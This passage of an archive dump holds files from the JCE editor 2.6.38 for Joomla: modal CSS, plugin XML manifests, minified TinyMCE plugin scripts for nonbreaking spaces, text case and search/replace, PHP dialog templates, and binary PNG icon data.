61px)}.mce-modal-landscape-128,.mce-modal-landscape-xxsmall{max-width:128px}.mce-modal-landscape-256,.mce-modal-landscape-xsmall{max-width:256px}.mce-modal-landscape-384,.mce-modal-landscape-small,.mceModalAlert,.mceModalConfirm{max-width:384px}.mce-modal-landscape-512,.mce-modal-landscape-medium{max-width:512px}.mce-modal-landscape-640,.mce-modal-landscape-large{max-width:640px}.mce-modal-landscape-768,.mce-modal-landscape-xlarge{max-width:768px}.mce-modal-landscape-896,.mce-modal-landscape-xxlarge{max-width:896px}.mce-modal-landscape-1024{max-width:1024px}.mce-modal-landscape-full{max-width:96%;max-width:calc(100% - 40px);height:96%;height:calc(100vh - 20px);padding:0}.mce-modal-landscape-full .mceModalContent{padding:0;height:95.3%;height:calc(100% - 41px)}.mce-modal-portrait-128,.mce-modal-portrait-xsmall{max-width:128px}.mce-modal-portrait-256,.mce-modal-portrait-small{max-width:256px}.mce-modal-portrait-320{max-width:320px}.mce-modal-portrait-384,.mce-modal-portrait-medium{max-width:384px}.mce-modal-portrait-512,.mce-modal-portrait-large{max-width:512px}.mce-modal-portrait-640,.mce-modal-portrait-xlarge{max-width:640px}.mce-modal-portrait-768,.mce-modal-portrait-full{max-width:768px;height:calc(100vh - 20px);padding:0}.mce-modal-square-xlarge{max-width:896px}.mce-modal-square-xlarge .mceModalContent{padding-bottom:80%;padding-bottom:calc(83.46% - 41px)}editor/tiny_mce/plugins/inlinepopups/css/index.html000060400000000054150750527140016635 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/nonbreaking/index.html000060400000000054150750527140015615 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/nonbreaking/nonbreaking.xml000060400000001267150750527140016646 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="nonbreaking" core="1" editable="0">
	<name>WF_NONBREAKING_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_NONBREAKING_DESC</description>
	<icon>nonbreaking</icon>
	<params></params>
	<help>
		<topic key="nonbreaking.about" title="WF_NONBREAKING_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/nonbreaking/editor_plugin.js000060400000002271150750527140017025 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.create("tinymce.plugins.Nonbreaking",{init:function(ed,url){var t=this;t.editor=ed,ed.addCommand("mceNonBreaking",function(){ed.execCommand("mceInsertContent",!1,ed.plugins.visualchars&&ed.plugins.visualchars.state?'<span data-mce-bogus="1" class="mce-item-hidden mce-item-nbsp">&nbsp;</span>':"&nbsp;")}),ed.addButton("nonbreaking",{title:"nonbreaking.desc",cmd:"mceNonBreaking"}),ed.getParam("nonbreaking_force_tab")&&ed.onKeyDown.add(function(ed,e){9==e.keyCode&&(e.preventDefault(),ed.execCommand("mceNonBreaking"),ed.execCommand("mceNonBreaking"),ed.execCommand("mceNonBreaking"))}),ed.addShortcut("ctrl+shift+s","nonbreaking.desc","mceNonBreaking")},getInfo:function(){return{longname:"Nonbreaking space",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/nonbreaking",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.PluginManager.add("nonbreaking",tinymce.plugins.Nonbreaking)}();editor/tiny_mce/plugins/index.html000060400000000054150750527140013320 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/textcase/index.html000060400000000054150750527140015140 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/textcase/textcase.xml000060400000001245150750527140015510 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="textcase" core="1" editable="0">
	<name>WF_TEXTCASE_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_TEXTCASE_DESC</description>
	<icon>textcase</icon>
	<params></params>
	<help>
		<topic key="textcase.about" title="WF_TEXTCASE_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/textcase/editor_plugin.js000060400000004423150750527140016351 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.each;tinymce.create("tinymce.plugins.TextCase",{init:function(ed,url){var t=this;this.url=url,this.editor=ed,ed.addCommand("mceUpperCase",function(){t._upperCase()}),ed.addCommand("mceLowerCase",function(){t._lowerCase()}),ed.addCommand("mceCamelCase",function(){t._camelCase()}),ed.addCommand("mceSentenceCase",function(){t._sentenceCase()}),ed.onNodeChange.add(function(ed,cm,n,co){cm.setDisabled("textcase",co)})},createControl:function(n,cm){var t=this,ed=t.editor;ed.getDoc();if("textcase"===n){var c=cm.createSplitButton("textcase",{title:"textcase.uppercase",icon:"uppercase",onclick:function(){ed.execCommand("mceUpperCase")}});return c.onRenderMenu.add(function(c,m){m.add({title:"textcase.uppercase",icon:"uppercase",onclick:function(){ed.execCommand("mceUpperCase")}}),m.add({title:"textcase.lowercase",icon:"lowercase",onclick:function(){ed.execCommand("mceLowerCase")}}),m.add({title:"textcase.sentencecase",icon:"sentencecase",onclick:function(){ed.execCommand("mceSentenceCase")}}),m.add({title:"textcase.camelcase",icon:"camelcase",onclick:function(){ed.execCommand("mceCamelCase")}})}),c}return null},_sentenceCase:function(){var ed=this.editor,s=ed.selection,text=(s.getNode(),s.getContent());text=text.toLowerCase().replace(/([\u0000-\u1FFF])/,function(a,b){return b.toUpperCase()}).replace(/(\.\s?)([\u0000-\u1FFF])/gi,function(a,b,c){return b+c.toUpperCase()}),s.setContent(text)},_camelCase:function(){var ed=this.editor,s=ed.selection,text=(s.getNode(),s.getContent());text=text.replace(/(?:^|\s)[\u0000-\u1FFF]/g,function(match){return match.toUpperCase()}),s.setContent(text)},_lowerCase:function(){var ed=this.editor,s=ed.selection,text=(s.getNode(),s.getContent());s.setContent(text.toLowerCase())},_upperCase:function(){var ed=this.editor,s=ed.selection,text=(s.getNode(),s.getContent());s.setContent(text.toUpperCase())},getInfo:function(){return{longname:"Painter",author:"Ryan Demmer",authorurl:"http://www.joomlacontenteditor.net",infourl:"http://www.joomlacontenteditor.net",version:"@@version@@"}}}),tinymce.PluginManager.add("textcase",tinymce.plugins.TextCase)}();editor/tiny_mce/plugins/textcase/img/lowercase.png000060400000000766150750527140016423 0ustar00�PNG


IHDR��
sBIT|d�	pHYs��~�tEXtSoftwareAdobe FireworksO�NtIDAT8��Կk�A��ץiq�	���]��
u���QZ��tPpt��M\��A��A�䤢t�`��4t*�Zr�|%�`5����}�9xs���R�� U(�VK�J��(����v�����u��
x0����x�������Pd}���lG�'{�	��ʟ���vxWp*�62��U\§���s�e<�Z�p2�k��R�I)�M)�*�����\�9����ֺ�Kw�Q��\�uc��3���Fz7Xj�ќr��K����mrt|��B��yr�@���
b�30`p�sn�D�oj��p#q<ǰ�ҏ�s���0|�����3����E,��r�`�nPJ�X	��]u������&�A����x�jX�IEND�B`�editor/tiny_mce/plugins/textcase/img/index.html000060400000000054150750527140015714 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/textcase/img/uppercase.png000060400000000773150750527140016424 0ustar00�PNG


IHDR��
sBIT|d�	pHYs��~�tEXtSoftwareAdobe FireworksO�NyIDAT8���1hTA���\ΐ���`q"1��BbaZA8,R�Z	"iM#�֢Ebmm%j)��F&b,5�X�=�\�&�.���3�̴������X�tC����.�~j��U|�E,�ޔ����>�]�.��X�S`��o�.��x�ؖ��,~C8X|
|SU��03dfo3�qf�����Uo���������#'���4v��'@D���q("n�sG�߯���c����9�{�ٜ~xf��U8���;���%��e�ױ�'E��Q���g�l����_>������징gp-�.��h6L���P5�%�E�S=��.m���0":�Z��b��s�X���\�f�v׿?Ӑ�К��IEND�B`�editor/tiny_mce/plugins/textcase/img/sentencecase.png000060400000000572150750527140017072 0ustar00�PNG


IHDR��
sBIT|d�	pHYs��~�tEXtSoftwareAdobe FireworksO�N�IDAT8���1JA��o�Ƥ�A+o`�"�E�� X�!7�R<��
,-D�@,�
���%��f��0�{og~��)%M�jԶ6�ʏ�Us��|^�]`�������3W(�e����툫���7�CO!���p�x�p_X�+6��Y5��C��t�p�\�,�)�K�e�ua�M�$���c�2��~7�_RJY��F1oıF��e%��(;RJ��YQ�h�cr�5RJo��U����	�u�E+��&�IEND�B`�editor/tiny_mce/plugins/searchreplace/tmpl/default.php000060400000005312150750527140017237 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('WF_EDITOR') or die('RESTRICTED');

?>
<form onsubmit="return false;" action="#">
	<div>
		<div class="uk-form-row">
			<label class="uk-form-label uk-width-3-10" for="searchstring"><?php echo WFText::_('WF_SEARCHREPLACE_FINDWHAT'); ?></label>
			<div class="uk-form-controls uk-width-7-10">
				<input type="text" id="search_string" />
			</div>
		</div>
		<div class="uk-form-row">
			<label class="uk-form-label uk-width-3-10" for="replacestring"><?php echo WFText::_('WF_SEARCHREPLACE_REPLACEWITH'); ?></label>
			<div class="uk-form-controls uk-width-7-10">
				<input type="text" id="replace_string" />
			</div>
		</div>
		<div class="uk-form-row">
			<div class="uk-width-5-10">
				<input id="matchcase" type="checkbox" />
				<label for="matchcase"><?php echo WFText::_('WF_SEARCHREPLACE_MCASE'); ?></label>
			</div>
			<div class="uk-width-5-10">
				<input id="wholewords" type="checkbox" />
				<label for="wholewords"><?php echo WFText::_('WF_SEARCHREPLACE_WHOLEWORDS', 'Whole Words'); ?></label>
			</div>
		</div>
	</div>
	<div class="mceActionPanel">
		<div class="uk-float-left">
			<button type="submit" class="uk-button uk-button-primary" id="find"><i class="uk-icon-search uk-margin-small-right"></i><?php echo WFText::_('WF_SEARCHREPLACE_FIND', 'Find'); ?></button>
			<button type="button" class="uk-button uk-button-danger" id="replace" disabled><i class="uk-icon-exchange uk-margin-small-right"></i><?php echo WFText::_('WF_SEARCHREPLACE_REPLACE', 'Replace'); ?></button>
			<button type="button" class="uk-button uk-button-danger" id="replaceAll" disabled><i class="uk-icon-retweet uk-margin-small-right"></i><?php echo WFText::_('WF_SEARCHREPLACE_REPLACEALL', 'Replace All'); ?></button>
			<button type="button" class="uk-button uk-button-primary" id="prev" disabled><i class="uk-icon-arrow-left uk-margin-small-right"></i><?php echo WFText::_('WF_SEARCHREPLACE_PREV', 'Previous'); ?></button>
			<button type="button" class="uk-button uk-button-primary" id="next" disabled><i class="uk-icon-arrow-right uk-margin-small-right"></i><?php echo WFText::_('WF_SEARCHREPLACE_NEXT', 'Next'); ?></button>
		</div>
		<div class="uk-float-right">
			<button type="button" id="cancel" class="uk-button uk-hidden-mini"><?php echo WFText::_('WF_LABEL_CANCEL'); ?></button>
		</div>
	</form>editor/tiny_mce/plugins/searchreplace/tmpl/replace.php000060400000003475150750527140017236 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

defined('WF_EDITOR') or die('RESTRICTED');
?>
<table border="0" cellspacing="0" cellpadding="2">
	<tr>
		<td>
			<label for="replace_panel_searchstring"><?php echo WFText::_('WF_SEARCHREPLACE_FINDWHAT');?></label>
			<input type="text" id="replace_panel_searchstring" name="replace_panel_searchstring" style="width: 200px" />
		</td>
	</tr>
	<tr>
		<td>
			<label for="replace_panel_replacestring"><?php echo WFText::_('WF_SEARCHREPLACE_REPLACEWITH');?></label>
			<input type="text" id="replace_panel_replacestring" name="replace_panel_replacestring" style="width: 200px" />
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<label><?php echo WFText::_('WF_SEARCHREPLACE_DIRECTION');?></label>
			<input id="replace_panel_backwardsu" name="replace_panel_backwards" class="radio" type="radio" />
			<label for="replace_panel_backwardsu"><?php echo WFText::_('WF_SEARCHREPLACE_UP');?></label>
			<input id="replace_panel_backwardsd" name="replace_panel_backwards" class="radio" type="radio" checked="checked" />
			<label for="replace_panel_backwardsd"><?php echo WFText::_('WF_SEARCHREPLACE_DOWN');?></label>
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<input id="replace_panel_casesensitivebox" name="replace_panel_casesensitivebox" class="checkbox" type="checkbox" />
			<label for="replace_panel_casesensitivebox"><?php echo WFText::_('WF_SEARCHREPLACE_MCASE');?></label>
		</td>
	</tr>
</table>editor/tiny_mce/plugins/searchreplace/tmpl/index.html000060400000000054150750527140017075 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/searchreplace/tmpl/find.php000060400000002736150750527140016542 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2016 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */

defined('WF_EDITOR') or die('RESTRICTED');
?>
<table border="0" cellspacing="0" cellpadding="2">
	<tr>
		<td>
			<label for="find_panel_searchstring"><?php echo WFText::_('WF_SEARCHREPLACE_FINDWHAT');?></label>
			<input type="text" id="find_panel_searchstring" style="width: 200px" />
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<label><?php echo WFText::_('WF_SEARCHREPLACE_DIRECTION');?></label>
			<input id="find_panel_backwardsu" name="find_panel_backwards" class="radio" type="radio" />
			<label for="find_panel_backwardsu"><?php echo WFText::_('WF_SEARCHREPLACE_UP');?></label>
			<input id="find_panel_backwardsd" name="find_panel_backwards" class="radio" type="radio" checked="checked" />
			<label for="find_panel_backwardsd"><?php echo WFText::_('WF_SEARCHREPLACE_DOWN');?></label>
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<input id="find_panel_casesensitivebox" class="checkbox" type="checkbox" />
			<label for="find_panel_casesensitivebox"><?php echo WFText::_('WF_SEARCHREPLACE_MCASE');?></label>
		</td>
	</tr>
</table>
editor/tiny_mce/plugins/searchreplace/index.html000060400000000054150750527140016121 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/searchreplace/editor_plugin.js000060400000024724150750527140017340 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function isContentEditableFalse(node){return node&&1==node.nodeType&&"false"===node.contentEditable}function findAndReplaceDOMText(regex,node,replacementNode,captureGroup,schema){function getMatchIndexes(m,captureGroup){if(captureGroup=captureGroup||0,!m[0])throw"findAndReplaceDOMText cannot handle zero-length matches";var index=m.index;if(captureGroup>0){var cg=m[captureGroup];if(!cg)throw"Invalid capture group";index+=m[0].indexOf(cg),m[0]=cg}return[index,index+m[0].length,[m[0]]]}function getText(node){var txt;if(3===node.nodeType)return node.data;if(hiddenTextElementsMap[node.nodeName]&&!blockElementsMap[node.nodeName])return"";if(txt="",isContentEditableFalse(node))return"\n";if((blockElementsMap[node.nodeName]||shortEndedElementsMap[node.nodeName])&&(txt+="\n"),node=node.firstChild)do txt+=getText(node);while(node=node.nextSibling);return txt}function stepThroughMatches(node,matches,replaceFn){var startNode,endNode,startNodeIndex,endNodeIndex,innerNodes=[],atIndex=0,curNode=node,matchLocation=matches.shift(),matchIndex=0;out:for(;;){if((blockElementsMap[curNode.nodeName]||shortEndedElementsMap[curNode.nodeName]||isContentEditableFalse(curNode))&&atIndex++,3===curNode.nodeType&&(!endNode&&curNode.length+atIndex>=matchLocation[1]?(endNode=curNode,endNodeIndex=matchLocation[1]-atIndex):startNode&&innerNodes.push(curNode),!startNode&&curNode.length+atIndex>matchLocation[0]&&(startNode=curNode,startNodeIndex=matchLocation[0]-atIndex),atIndex+=curNode.length),startNode&&endNode){if(curNode=replaceFn({startNode:startNode,startNodeIndex:startNodeIndex,endNode:endNode,endNodeIndex:endNodeIndex,innerNodes:innerNodes,match:matchLocation[2],matchIndex:matchIndex}),atIndex-=endNode.length-endNodeIndex,startNode=null,endNode=null,innerNodes=[],matchLocation=matches.shift(),matchIndex++,!matchLocation)break}else if(hiddenTextElementsMap[curNode.nodeName]&&!blockElementsMap[curNode.nodeName]||!curNode.firstChild){if(curNode.nextSibling){curNode=curNode.nextSibling;continue}}else if(!isContentEditableFalse(curNode)){curNode=curNode.firstChild;continue}for(;;){if(curNode.nextSibling){curNode=curNode.nextSibling;break}if(curNode.parentNode===node)break out;curNode=curNode.parentNode}}}function genReplacer(nodeName){var makeReplacementNode;if("function"!=typeof nodeName){var stencilNode=nodeName.nodeType?nodeName:doc.createElement(nodeName);makeReplacementNode=function(fill,matchIndex){var clone=stencilNode.cloneNode(!1);return clone.setAttribute("data-mce-index",matchIndex),fill&&clone.appendChild(doc.createTextNode(fill)),clone}}else makeReplacementNode=nodeName;return function(range){var before,after,parentNode,startNode=range.startNode,endNode=range.endNode,matchIndex=range.matchIndex;if(startNode===endNode){var node=startNode;parentNode=node.parentNode,range.startNodeIndex>0&&(before=doc.createTextNode(node.data.substring(0,range.startNodeIndex)),parentNode.insertBefore(before,node));var el=makeReplacementNode(range.match[0],matchIndex);return parentNode.insertBefore(el,node),range.endNodeIndex<node.length&&(after=doc.createTextNode(node.data.substring(range.endNodeIndex)),parentNode.insertBefore(after,node)),node.parentNode.removeChild(node),el}before=doc.createTextNode(startNode.data.substring(0,range.startNodeIndex)),after=doc.createTextNode(endNode.data.substring(range.endNodeIndex));for(var elA=makeReplacementNode(startNode.data.substring(range.startNodeIndex),matchIndex),innerEls=[],i=0,l=range.innerNodes.length;i<l;++i){var innerNode=range.innerNodes[i],innerEl=makeReplacementNode(innerNode.data,matchIndex);innerNode.parentNode.replaceChild(innerEl,innerNode),innerEls.push(innerEl)}var elB=makeReplacementNode(endNode.data.substring(0,range.endNodeIndex),matchIndex);return parentNode=startNode.parentNode,parentNode.insertBefore(before,startNode),parentNode.insertBefore(elA,startNode),parentNode.removeChild(startNode),parentNode=endNode.parentNode,parentNode.insertBefore(elB,endNode),parentNode.insertBefore(after,endNode),parentNode.removeChild(endNode),elB}}var m,text,doc,blockElementsMap,hiddenTextElementsMap,shortEndedElementsMap,matches=[],count=0;if(doc=node.ownerDocument,blockElementsMap=schema.getBlockElements(),hiddenTextElementsMap=schema.getWhiteSpaceElements(),shortEndedElementsMap=schema.getShortEndedElements(),text=getText(node)){if(regex.global)for(;m=regex.exec(text);)matches.push(getMatchIndexes(m,captureGroup));else m=text.match(regex),matches.push(getMatchIndexes(m,captureGroup));return matches.length&&(count=matches.length,stepThroughMatches(node,matches,genReplacer(replacementNode))),count}}tinymce.DOM,tinymce.dom.Event,tinymce.each;tinymce.create("tinymce.plugins.SearchReplacePlugin",{init:function(editor,url){function notFoundAlert(){editor.windowManager.alert(editor.getLang("searchreplace_dlg.notfound","The search has been completed. The search string could not be found."))}function updateButtonStates(){editor.updateSearchButtonStates.dispatch({next:!findSpansByIndex(currentIndex+1).length,prev:!findSpansByIndex(currentIndex-1).length})}function resetButtonStates(){editor.updateSearchButtonStates.dispatch({replace:!0,replaceAll:!0,next:!0,prev:!0})}function getElmIndex(elm){var value=elm.getAttribute("data-mce-index");return"number"==typeof value?""+value:value}function markAllMatches(regex){var node,marker;return marker=editor.dom.create("span",{"data-mce-bogus":1}),marker.className="mce-match-marker",node=editor.getBody(),self.done(!1),findAndReplaceDOMText(regex,node,marker,!1,editor.schema)}function unwrap(node){var parentNode=node.parentNode;node.firstChild&&parentNode.insertBefore(node.firstChild,node),node.parentNode.removeChild(node)}function findSpansByIndex(index){var nodes,spans=[];if(nodes=tinymce.toArray(editor.getBody().getElementsByTagName("span")),nodes.length)for(var i=0;i<nodes.length;i++){var nodeIndex=getElmIndex(nodes[i]);null!==nodeIndex&&nodeIndex.length&&nodeIndex===index.toString()&&spans.push(nodes[i])}return spans}function moveSelection(forward){var testIndex=currentIndex,dom=editor.dom;forward=forward!==!1,forward?testIndex++:testIndex--,dom.removeClass(findSpansByIndex(currentIndex),"mce-match-marker-selected");var spans=findSpansByIndex(testIndex);return spans.length?(dom.addClass(findSpansByIndex(testIndex),"mce-match-marker-selected"),editor.selection.scrollIntoView(spans[0]),testIndex):-1}function removeNode(node){var dom=editor.dom,parent=node.parentNode;dom.remove(node),dom.isEmpty(parent)&&dom.remove(parent)}function isMatchSpan(node){var matchIndex=getElmIndex(node);return null!==matchIndex&&matchIndex.length>0}function isMatchSpan(node){var matchIndex=getElmIndex(node);return null!==matchIndex&&matchIndex.length>0}var last,self=this,currentIndex=-1;editor.updateSearchButtonStates=new tinymce.util.Dispatcher(this),editor.addCommand("mceSearchReplace",function(){last={},editor.windowManager.open({file:editor.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=searchreplace",width:560+parseInt(editor.getLang("searchreplace.delta_width",0)),height:180+parseInt(editor.getLang("searchreplace.delta_height",0)),inline:1,overlay:!1},{search_string:editor.selection.getContent({format:"text"}),plugin_url:url})}),editor.addCommand("mceSearch",function(ui,e){var count,text=e.text,caseState=e.textcase,wholeWord=e.wholeword;return text.length?last.text==text&&last.caseState==caseState&&last.wholeWord==wholeWord?0===findSpansByIndex(currentIndex+1).length?void notFoundAlert():(self.next(),void updateButtonStates()):(count=self.find(text,caseState,wholeWord),count||notFoundAlert(),updateButtonStates(),editor.updateSearchButtonStates.dispatch({replace:!count,replaceAll:!count}),void(last={text:text,caseState:caseState,wholeWord:wholeWord})):(self.done(!1),void resetButtonStates())}),editor.addCommand("mceSearchNext",function(){self.next(),updateButtonStates()}),editor.addCommand("mceSearchPrev",function(){self.prev(),updateButtonStates()}),editor.addCommand("mceReplace",function(ui,text){self.replace(text)||(resetButtonStates(),currentIndex=-1,last={})}),editor.addCommand("mceReplaceAll",function(ui,text){self.replace(text,!0,!0)||(resetButtonStates(),last={})}),editor.addCommand("mceSearchDone",function(){self.done()}),editor.addButton("search",{title:"searchreplace.search_desc",cmd:"mceSearchReplace"}),editor.addShortcut("ctrl+f","searchreplace.search_desc",function(){return editor.execCommand("mceSearchReplace")}),self.find=function(text,matchCase,wholeWord){text=text.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),text=wholeWord?"\\b"+text+"\\b":text;var count=markAllMatches(new RegExp(text,matchCase?"g":"gi"));return count&&(currentIndex=-1,currentIndex=moveSelection(!0)),count},self.next=function(){var index=moveSelection(!0);index!==-1&&(currentIndex=index)},self.prev=function(){var index=moveSelection(!1);index!==-1&&(currentIndex=index)},self.replace=function(text,forward,all){var i,nodes,node,matchIndex,currentMatchIndex,hasMore,nextIndex=currentIndex;for(forward=forward!==!1,node=editor.getBody(),nodes=tinymce.grep(tinymce.toArray(node.getElementsByTagName("span")),isMatchSpan),i=0;i<nodes.length;i++){var nodeIndex=getElmIndex(nodes[i]);if(matchIndex=currentMatchIndex=parseInt(nodeIndex,10),all||matchIndex===currentIndex){for(text.length?(nodes[i].firstChild.nodeValue=text,unwrap(nodes[i])):removeNode(nodes[i]);nodes[++i];){if(matchIndex=parseInt(getElmIndex(nodes[i]),10),matchIndex!==currentMatchIndex){i--;break}removeNode(nodes[i])}forward&&nextIndex--}else currentMatchIndex>currentIndex&&nodes[i].setAttribute("data-mce-index",currentMatchIndex-1)}return editor.undoManager.add(),currentIndex=nextIndex,forward?(hasMore=findSpansByIndex(nextIndex+1).length>0,self.next()):(hasMore=findSpansByIndex(nextIndex-1).length>0,self.prev()),!all&&hasMore},self.done=function(keepEditorSelection){var i,nodes,startContainer,endContainer;for(nodes=tinymce.toArray(editor.getBody().getElementsByTagName("span")),i=0;i<nodes.length;i++){var nodeIndex=getElmIndex(nodes[i]);null!==nodeIndex&&nodeIndex.length&&(nodeIndex===currentIndex.toString()&&(startContainer||(startContainer=nodes[i].firstChild),endContainer=nodes[i].firstChild),unwrap(nodes[i]))}if(startContainer&&endContainer){var rng=editor.dom.createRng();return rng.setStart(startContainer,0),rng.setEnd(endContainer,endContainer.data.length),keepEditorSelection!==!1&&editor.selection.setRng(rng),rng}}}}),tinymce.PluginManager.add("searchreplace",tinymce.plugins.SearchReplacePlugin)}();editor/tiny_mce/plugins/searchreplace/searchreplace.xml000060400000001174150750527140017453 0ustar00<?xml version="1.0" ?>
<extension version="3.0" type="plugin" plugin="searchreplace" core="1" editable="0">
	<name>WF_SEARCHREPLACE_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_SEARCHREPLACE_DESC</description>
	<icon>search,replace</icon>
	<params></params>
	<help></help>
	<languages></languages>
</extension>editor/tiny_mce/plugins/searchreplace/searchreplace.php000060400000001133150750527140017435 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/classes/searchreplace.php';

$plugin = new WFSearchReplacePlugin();
$plugin->execute();
editor/tiny_mce/plugins/searchreplace/classes/searchreplace.php000060400000001764150750527140021104 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once WF_EDITOR_LIBRARIES.'/classes/plugin.php';

class WFSearchReplacePlugin extends WFEditorPlugin
{
    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $document->addScript(array('searchreplace'), 'plugins');

        $tabs = WFTabs::getInstance(array(
            'base_path' => WF_EDITOR_PLUGIN,
        ));
        // Add tabs
        $tabs->addTab('find');
        $tabs->addTab('replace');
    }
}
editor/tiny_mce/plugins/searchreplace/classes/index.html000060400000000054150750527140017556 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/searchreplace/css/searchreplace.css000060400000000475150750527140020236 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
.ui-tabs-panel{height:100px;}#jce label[for$="_backwardsu"],#jce label[for$="_backwardsd"]{min-width:40px;}editor/tiny_mce/plugins/searchreplace/css/index.html000060400000000054150750527140016711 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/searchreplace/js/index.html000060400000000054150750527140016535 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/searchreplace/js/searchreplace.js000060400000002322150750527140017677 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
